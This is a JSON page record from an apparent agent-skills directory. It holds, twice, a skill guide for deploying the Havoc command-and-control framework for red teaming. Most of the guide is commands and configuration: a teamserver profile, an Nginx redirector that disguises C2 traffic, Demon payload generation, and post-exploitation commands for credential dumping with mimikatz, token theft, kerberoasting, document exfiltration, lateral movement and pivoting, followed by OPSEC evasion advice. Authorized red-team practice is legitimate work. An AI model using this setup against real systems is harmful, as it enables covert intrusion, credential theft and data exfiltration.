[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E2MHS0RV6GP6ANR65PR7RW":3,"skill-same:01M7E2MHS0RV6GP6ANR65PR7RW":113},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":6,"ownerHtmlUrl":62,"ownerBlogUrl":6,"ownerDescription":63,"updatedAt":64,"install":65,"resources":78},"01M7E2MHS0RV6GP6ANR65PR7RW","building-red-team-c2-infrastructure-with-havoc",null,"Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and OPSEC-hardened infrastructure for authorized red team operations. Use when standing up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation engagement.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: building-red-team-c2-infrastructure-with-havoc\ndescription: Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB\n  listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and\n  OPSEC-hardened infrastructure for authorized red team operations. Use when standing\n  up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation\n  engagement.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- havoc-c2\n- command-and-control\n- red-team-infrastructure\n- post-exploitation\n- adversary-emulation\n- demon-agent\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- GOVERN-1.1\n- MEASURE-2.7\n- MANAGE-3.1\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1583.001\n- T1090.002\n- T1105\n- T1055\n---\n\n# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n","# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":39,"description":7,"nist_ai_rmf":40,"mitre_attack":44,"d3fend_techniques":51},[26,27,28,29,30,31],"havoc-c2","command-and-control","red-team-infrastructure","post-exploitation","adversary-emulation","demon-agent","mahipal","cybersecurity","1.0",[36,37,38],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[41,42,43],"GOVERN-1.1","MEASURE-2.7","MANAGE-3.1",[45,46,47,48,49,50],"T1071.001","T1573.002","T1583.001","T1090.002","T1105","T1055",[52,53,54,55,56],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":77},[67,70,73],{"tool":68,"command":69},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill building-red-team-c2-infrastructure-with-havoc",{"tool":71,"command":72},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill building-red-team-c2-infrastructure-with-havoc",{"tool":74,"command":75},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill building-red-team-c2-infrastructure-with-havoc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",true,[79,85,89,95,99,103,109],{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"assets\u002Ftemplate.md","ASSET","资产文件",3873,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fassets\u002Ftemplate.md",{"path":86,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"references\u002Fapi-reference.md","REFERENCE","参考文档",1869,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fapi-reference.md",{"path":96,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":97,"sourceHtmlUrl":98},"references\u002Fstandards.md",2491,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fstandards.md",{"path":100,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fworkflows.md",8168,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fworkflows.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",6237,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fagent.py",{"path":110,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":111,"sourceHtmlUrl":112},"scripts\u002Fprocess.py",12571,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fprocess.py",[114,122,130,138,146,153],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":118,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":118,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":134,"sourceHtmlUrl":135,"categories":136,"keywords":137,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":142,"sourceHtmlUrl":143,"categories":144,"keywords":145,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX 